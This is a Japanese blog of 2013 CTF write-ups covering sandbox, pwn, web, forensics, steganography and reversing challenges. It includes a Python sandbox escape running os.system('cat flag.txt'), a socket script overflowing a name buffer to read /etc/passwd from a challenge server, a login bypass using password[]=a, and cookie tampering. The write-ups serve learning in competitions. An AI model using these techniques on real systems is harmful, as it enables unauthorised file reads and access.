2013年12月30日月曜日

30C3 CTF Writeup

SANDBOX PyExec 300

アクセスするとこんな感じのページが出てくる

print 1+2と書いてexecを押すと 出力に3と出る。

Pythonのソースがダウンロードできるので呼んでみる
https://www.dropbox.com/sh/r8w31bik68dx3pn/ucnTKIQ2D7

black listで単語をはじくようになっていて、さらに入力できる文字も制限されていた。
使える文字は
改行 a-z 0-9 # \t , + * / : % > < = 半角スペース _ \ -

まずやってみたことは
http://www.slideshare.net/shiracamus/ctfpython
50ページにある #coding:rot13

入力に
#coding:rot13
cevag 1

出力は
1

と実行された


後は入力をはじかれないようにsystemコマンドでも実行するのかなっと試行錯誤
Base64やuuencodeなどなどを試してみるがだめ

ここでいいものがないか探すことに
http://docs.python.jp/2/library/codecs.html#standard-encodings


#coding:raw_unicode_escape
Python ソースコードにおける raw Unicode リテラルとして適切な文字列を生成します。

っとのことでunicodeでできるらしいので試してみた



print 2を実行したところ実行できた。
後は
import os
os.system('ls')

を実行させ


カレントディレクトリにflag.txtがあったので


import os
os.system('cat flag.txt')

flagを出力させることに成功しました。

flag:
30C3_2a2766d9cf4a137d517a8227bd71d59d


PWN DOGE1 100


とりあえず nc 88.198.89.218 1024でつなぐと

Dogename: っと名前を聞かれたので適当に入力


これはすごい!!っと関心

次にDogenameに長い文字を入力することに



お?来たかって思ったら。ascii_art_doge_color.txtっというこの犬が入っているテキストの名前が出てきた。

オーバーフローさせてこの名前を任意のディレクトリに変えればそこを読み込まないか?っといろいろと試す



#! c:/Python27/python.exe
# -*- coding: utf-8 -*-

import socket
import sys

host = '88.198.89.218'
port = 1024

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))

print sock.recv(1024)
sock.sendall("A"*32+"/etc/passwd\x00")
print sock.recv(1024)


/etc/passwdを読み込ますことに成功

出力結果

Dogename:
 [93mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/etc/passwd [0mroot:x:0:0:root:/root:/bin/
ash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
doge:30C3_51dd250e0adb864f
f40cc40b818852f4:1001:1001:,,,:/home/doge:/bin/false

一番下にflagっぽいものが合った
flag:
30C3_51dd250e0adb864ff40cc40b818852f4




お疲れ様でした。


2013年12月16日月曜日

SECCON名古屋大会Writeup

TimeIDAとして参加してきました。

自分の解いた分だけWriteupを書いていきます。

バイナリ100 問題ファイル
main.exe: PE32 executable (console) Intel 80386, for MS Windows とりあえずIDAで開く



とりあえずこのexitに入らないようにすればいいのかな?とか思っていたけど下に



Guvf vfa'g gur nafjre. という文字列を発見 

Guvfこの辺とかよく見るrot13だったのでデコードしてみると This isn't the answer. 

これは答えではなかった。 ollydbgでexitにならないようにjmpさせながら進んでいくと



ans=maho0609という文字列があり 

さすがにこれじゃないだろっと思って入力したら正解でした。


 IDAで見たときにもpushでこの文字列入れていたのでその時に入力しておけばよかった、、



プログラミング100 ○天CTFって、こういうこと?



実行するとこんな感じで 時間内にすべてのチェックを外して「次のステージへ進む」を押せればステージクリアになりました ステージ1~6まであり 進むにつれ時間が短くなり、チェックボックスの数が増えていきました。




ステージ5までは手動で行けたが、6は無理でした。

チームの人がいろいろと試していて、Tabキーを押して進み、スペースを押すとチェックが外せる ということを発見したので 競技中にみんなでキーボードをかちゃかちゃやりだしました

 結局キー入力のできるマクロのフリーソフトを落としてきてやったらクリアできました







seccon横浜大会にもでた目grep問題にずっとはまっていたので、あまり解けなかったなーっというCTFでした

 みなさんお疲れ様でした。




追記

 デコードせよの問題を stegsolve.jarというツールを使って解いてみました。






下の < >ボタンを押すと Alpha plane Red plane Green plane Blue plane という感じでその色を取り出してくれる

 FileからSave As を押すと表示してあるものを保存することができる

Red


Green


Blue


あとはQRコードリーダーで読み取る

uu{

M<&AI<VAI;F<@;FD@;6%K96YA:61E"C5T=2!D86ME(&YO(&]N96=A:0II=

'5M

M;R!I='5D96UO('=A<W5R96YA:61E;F4*:VEM:2!W;R!M86UO<FET86EK87)A

M"D9,04=

[270G<R!M;W)E(&ME>2!M92!W87(@;6%M(&UO;&QY('1I92!C;VQO

$<BY]"@ 



}


uu encode だったので
デコードした

Webツール
http://www.webutils.pl/UUencode


Pythonでデコードする

print '''begin 666 <data>

M<&AI<VAI;F<@;FD@;6%K96YA:61E"C5T=2!D86ME(&YO(&]N96=A:0II='5M

M;R!I='5D96UO('=A<W5R96YA:61E;F4*:VEM:2!W;R!M86UO<FET86EK87)A

M"D9,04=[270G<R!M;W)E(&ME>2!M92!W87(@;6%M(&UO;&QY('1I92!C;VQO

$<BY]"@

end

'''.decode('uu')



デコード結果

phishing ni makenaide
5tu dake no onegai
itumo itudemo wasurenaidene
kimi wo mamoritaikara
FLAG{It's more key me war mam molly tie color.}

という感じです。

とても面白い問題でした。

2013年11月17日日曜日

CSCamp CTF 2013 Writeup

Web50
問題画面


UsernameとPasswordを入力しsubmitすると、
username and password didn't match というメッセージが出た。

素直にSQLインジェクションを試したが、どれもだめだった


ここを参考に
http://d.hatena.ne.jp/unau/20070719/1186888448

POSTのリクエストを送るときに

username=admin&password[]=a

としたらログインできてflagが出てきた。
Flag: First_ONE_Simple___Right!




Web150


問題画面

入力フォームが1つとボタンが1つ
入力フォームの名前は更新するたびに変わっていた。

cookieのchallengeというところの値が 6505+-+4669これもアクセスするたびに変わっていた
パターンが2つあり
真ん中の-が%2bになることもあった。

試しに 6505-4669を計算したものをsubmitしたところ 遅いぞ!というようなものが出たのでプログラムを書いてsubmitすることにした

プログラムの流れだけ
・サイトにアクセス
・cookieを取ってきて計算する
・HTMLの中から入力フォームの名前を抜き出す
・POSTで送りつける

すると
<div class="alert alert-success">dear bot,<br> here`s your prize 13f611185d0197a63c6c8ee72e114bd2</div>

flag:13f611185d0197a63c6c8ee72e114bd2




Web200

スクショを忘れてしまいました。

問題のタイトルは Javascriptが何とか何とかって感じだったかな?

画面は入力フォーム1つとsubmitボタン1つ

ソースを見ると 難読化された?javascriptがあり 適当なものをsubmitすると you are noob!! とでた

とりあえずIEの動的スクリプトを見たら

function Oo0o(x, i) {
 o = "";
 i == 1 ? (o = atob(x)) : (o = btoa(x));
 return o;
}

function Oo0O() {
 var z = Oo0o("TW96aWxsYS81LjAgKExpbnV4OyBVOyBBbmRyb2lkIDIuMy4zOyBlbi11czsgSFRDX0Rlc2lyZVNfUzUxMGUgQnVpbGQvR1JJNDApIEFwcGxlV2ViS2l0LzUzMy4xIChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgTW9iaWxl", 1);
 var t = 0;
 var OO = 0;
 var str = document.frm1.code.value;
 if (navigator.userAgent == z) {
  z = z.split(";");
  z = (z[2]);
  z = "xoOoO" + z + "oOOoO";
  z = z.substring(5, z.length - 5);
  for (i = 1; i < z.length; i++) t = t + (z.charCodeAt(i) * i);
  for (k = 0; k < str.length; k++) OO += (str.charCodeAt(k) * k);
  OO = OO / 4;
  if ((t ^ OO) == 31341) {
   document.location = "/post_key?pass=" + str + "&u=" + Oo0o(navigator.userAgent);
  } else {
   alert('Inavlid Key');
   return false;
  }
 } else {
  alert("you are noob!!");
  return false
 }
}


if (navigator.userAgent == z)
この部分を通すためにzの値を調べた

zの値は
Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile

ユーザーエージェントを変えて 適当に入力すると alert文がInavlid Keyに変わった。

後はif ((t ^ OO) == 31341)になるように総当りしていたら、
入力値aaayaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaazkのときに条件をクリアしflagが出た

Flag: "JavaScript__IS_CO00OOool__^_^"


2013年10月21日月曜日

seccon香川大会 Writeup

seccon 2013 香川

問題画面をキャプチャーするのを忘れていたので、問題のタイトルなど覚えていません。。

PCに入っていた問題。
https://www.dropbox.com/sh/jhj75dnrbv4fqyh/fvlPKjRuvM


ネットワーク
問題ファイル:q7.pcap
タイトルがpcapで遊ぼうシリーズ第n+2弾 みたいな感じだったかな。

去年のseccon横浜大会で同じようなものを見たなーっと思ったがとりあえずWiresharkに入れる。

SYNしてすぐにRSTしている通信があったので

フィルターに ip.src == 192.168.96.128 && tcp.flags.syn==1 と入れて絞り込んでから目grep

矢印のところに1文字ずつflagが書かれていた。
Omedeto! Arigato! Matane! が答えだった


ジャンルは忘れた
問題ファイル:PikaCaps.zip

解凍するとexeファイルがあったので実行してみる

実行してもコマンドプロンプトに行くよ?っとでて何も起きない。
たまたまキーボードを見たときにCapsLockのところがピカピカ光っていた

よく見るとモールス信号ぽかったのでとりあえず読んでみたら答えだった

flagは覚えていません。


暗号?
問題ファイル:forcusing.zip

解凍すると right.png と left.png という見た目が同じような画像が1枚ずつ出てきた
とりあえずgimpに入れて差分を取ったら16進数の文字列が出てきた

これをアスキーコードに直したらflagが出てきた。

ここからは解けていない問題

フォレンジック問題
問題ファイルFilesystem002.bin
Enterprise.jpgの更新時間を答えろみたいな感じだったかな?
フォーマットはhh:mm:ss

バイナリ問題
問題ファイル:FindTheSecretKey.exe
keyを探せーだったかな


終わった後にやってみた問題。
バイナリ問題
問題ファイル:file.zip

解凍すると6個のファイルが出てくる。
fuga gafu geho hoge hogefuga hogehoge
バイナリエディタでファイルを見るとなんか同じような文字が多いなーっという印象だった

各ファイルのこの文字やたら出てくるなーっと思ったkeyでxorしてみました。
xorのkey
fuga 0x07
gafu 0x90
geho 0xaa
hoge 0x49
hogefuga 0xd3
hogehoge 0xf8

hogeのxorしたものにexeのヘッダがあったり、見慣れた文字列があったので雰囲気で結合してみた。
順番
hoge
fuga
geho
hogehoge
gafu
hogefuga

これを実行すると

Can you see me?

っというメッセージボックスが出る。
実行できたのでこれが答えなのかなーっと思います。
違うのかもしれません。

実行できたので満足でした。

解けなかった問題のWriteupはきっと誰かがしてくれると信じています!

2013年10月3日木曜日

Sharif University CTF Quals 2013 Writeup/Carving

Steganographyの500点問題

問題文
Carving :) :)

file :-carving.jpg


このファイルをとりあえずバイナリエディタに入れてみる

ビットイメージを見ながらさーっとバイナリを眺めているとjpgなのにフッターがFF D9 じゃない!!


/後ろについているのは何だろうと思って FF D9 のあとを見ると

1F 8B があって gzip がついてるなーって感じで取り合えずここから終端までを切り取って解凍してみたら。

flagというファイルが出てきて中身が

foremost can not detect tar.gz file?!?!

と書いてあり、入力してみたら正解だった。


500点なのにさくっと解けてしまってびっくりでした。





2013年9月29日日曜日

tkbctf2 Writeup/Do it

Forensicsの200点問題

問題文
Find the suspected user. https://s3-ap-northeast-1.amazonaws.com/tkbctf2/doit.7z

7zipを解凍するとletsdoit-check.pcapっというファイルが出てきました。


とりあえずNetworkMinerに入れてみた。
しかし、時間がかかりそうだったのでこっちは放置して

バイナリエディタにつっこんで中身を見ることにしました。

ASCIIのところだけさーっと眺めていたら
profile/icon_tn#1379985277っという気になる文字列があったので

http://yoctfs.jp/res/ident-dtlwsz7jjmomapjjxiqu3gzjgi/profile/icon_tn#1379985277

このURLに飛んでみると
FLAG IS BADCAB1E と書かれたファイルがありこれが答えだった。


その後NetworkMinerの結果を見るとイメージのところに同じ画像がありました。


やはり目grep!!!


後で
http://yoctfs.jp/res/ident-dtlwsz7jjmomapjjxiqu3gzjgi/profile/icon_tn#1379985277
ここに飛んだら画像が変わっていてびっくりしました、、、

2013年9月23日月曜日

CSAW CTF Writeup/Impossible

Reversingの500点問題

ndsだったのでとりあえずDSのエミュレータを探しました。

DeSmuME っというものがあったのでこれを使いました。

とりあえず動くか実行してみた


シューティングゲームのようで、
赤い三角形が敵で自分は下にいる緑の三角形のようです。

クリックをすると弾を発射する見たいです
問題文にあるように 相手は9000以上HPがあるので普通にプレイしてもだめだと思ったので

このエミュレータのToolsの中にView Memoryというものがあったので、実際に動かしながらメモリを観察することにしました。


赤い枠で囲ってあるところが、相手に攻撃をすると変化していたので 
これが相手のHPだと思い、バイナリエディタで 40420Fを検索しました。



40420Fの値を000000に書き換えて再度実行すると、1発相手に攻撃が当たった後に画面が真っ暗になり メモリのHPがあった場所にkeyが書かれていました。

key is ou6UbzM8fgEjZQcRrcXKVN

感想
目grepは最強でした。

CSAW CTF Writeup/Guess Harder


Webの100点問題

http://128.238.66.215/ にアクセスすると以下のページにつながる

SQLインジェクションでもするのかなーっと思っていました。


とりあえずchromeのデベロッパーツールでいろいろと見ていたら、



cookieのところに admin=falseとあったのでこれをtrueに変えてみた。


Consoleに document.cookie="admin=true"; を入力し再度アクセスしたところkeyが出ました。


key{told_ya_you_wouldnt_guess_it}


2013年9月1日日曜日

ASIS CTF Writeup/Forensic_pcap

Points
102
Level
1
Solves
47


Description
Find the flag. file
pcapという1つのパケットファイル


パケットファイルだったのでWirresharkで見ることにした。

StatisticsタブのProtocolHierarchyを見る


Transmission Control ProtocolのDataとHypertext Transfer Protocolのところが気になっったのでFilterをかけてみた。

Filter:data and tcp and ip and eth and frame

中身を見ると
GET /files/f6fb802feded5924fff1749b11e44c9b HTTP/1.1
のようなものがいくつもあった。

とりあえずそのファイルを取り出せるだけ取り出してみた。

d33cf9e6230f3b8e5a0c91a0514ab476
e564f66f2cf3e974887ea85028a317c6
89799fdf064c77dad7923548140c18c5
f6fb802feded5924fff1749b11e44c9b
c68cc0718b8b85e62c8a671f7c81e80a
326f79adc7ee143dcbb4cb8891a92259
053dc897d3e154dd5ed27c46b738850d
2aa242d4dbcb9b6378229c514af79b05
7356949650ccadfe1fb3a80b0db683d1
5b6540cd89bbd12bf968e110b965a840
40f4d5abfcdb369eeb0ac072796b7f30
6afd1bbadfabc3da6f3b7265df75744f
57f18f111f47eb9f7b5cdf5bd45144b0
35639a4410f245791ce5d2945702c4dc
1e13be50f05092e2a4e79b321c8450d4
fe7fe85cb5a023310f251acc2993d62e
4b87fbafcd05a39da90d69943393f79d
189facdce68effbf99ab7263c8b87304
255029ecf7e1a35b368ed123e2955099

19個のファイルを取り出すことに成功。 並びは取り出した順番かな?
その中の1つ
d33cf9e6230f3b8e5a0c91a0514ab476だけ
’37 7a bc af 27 1c 00 03’ 7zipのヘッダーが付いていたので解凍してみる。

しかし、開かない。

ヒントを求めて strings をしてみた。
$strings pcap

眺めていたら Index of /filesの内容が書いてあるHTMLを発見

どうやら20個のファイルがあるらしい
しかし、何度探しても21eae902cf5b82c7b207e963a130856dが見つからなかった。

いったんあきらめて、スコアボードやらなんかいろいろと見ていたら、サイトのNewsのところに

Forensic pcap challenge update
2013-08-30 10:14
You can download the missing parts of pcap forensic challenge from here:

053dc897d3e154dd5ed27c46b738850d
21eae902cf5b82c7b207e963a130856d

ということで20個のファイルがそろった。

Index of / files を眺めていたら時間が秒のところだけ違うということに気がつき並び替えてみた。

一番始めに7zipのヘッダーがあったファイルがきて、
一番最後に1つだけファイルサイズが小さいやつがきたので、すべてのファイルを結合させようと思った。

結合させたファイルを解凍すると 開くことはできたが、パスワードがかかっていた。

パケットを見ていたときに、
Hi
hello
I need secret key
ok
secret key will be sent on 6 parts
secret key : part 1 is M)m5s6S
did you received part 1 of secret key?
yes please send part 2
part 2 of secret key is ^[>@#
I recieved part 2
ok. please send me the other parts too
part 3 of secret key is Q3+1
did you received part 3?
yes
are you ready to receive part 4?
yes, please send
part 4 is 0PD.
ok. i received part 4
Please send me part 5
ok
part 5 of secret key is KE#cy
I received part 5 
part 6 of secret key is PsvqH
ok. I received all parts of secret key.
Thanx
こんなやり取りがあったので

パスワードに M)m5s6S^[>@#Q3+10PD.KE#cyPsvqH これを入れたら解凍できた。


中にmilad_tower.tiffという画像ファイルがあり、flagが書いてあった。

ASIS_19f8c9dd916d8d73ba184227071debd4



ASIS CTF Writeup/Forensic_rm-rf

Points
75
Level
1
Solves
106


Description
We have received a usb flash backup. Which file the flag is in?
file
for-75.imgという1つのディスクイメージファイル

とりあえずstringsした後にgrepでASIS_を探してみた

$strings for-75.img | grep ASIS_
ASIS_logo_200.png
ASIS_b34c5b5b1b78cf9f352099aa35610ced!.D@
ASIS_logo_200.png
ASIS_logo_200.png
ASIS_logo_200.png
ASIS_logo_200.png
ASIS_logo_200.png
ASIS_logo_200.png
ASIS_logo_200.png
ASIS_logo_200.png
ASIS_logo_200.png


これがflagだった
ASIS_b34c5b5b1b78cf9f352099aa35610ced


中を見ていたらflagが書いてあるpngも入っていました。


30点の問題より簡単な気がした

ASIS CTF Writeup/Forensic_spcap

Points
30
Level
1
Solves
99


Description
spcap = simple pcap
Find the flag. flag

spcapという1つのパケットファイル

パケットファイルだったのでWirresharkで見ることにした。

StatisticsタブのProtocolHierarchyを見る



Hypertext Transfer Protocolの中のMedia Typeが気になったのでそこを見ることにした。

httpでFilterを書けると GET /files/flag.jpg HTTP/1.1 というそれっぽいのがあったので
Follow TCP Streamをした後に画像を取り出した。


これがflagだった
ASIS_de67c0eafdd76d7b38f67f7a458a83a1

NetworkMinerを使ったほうがよかったかな。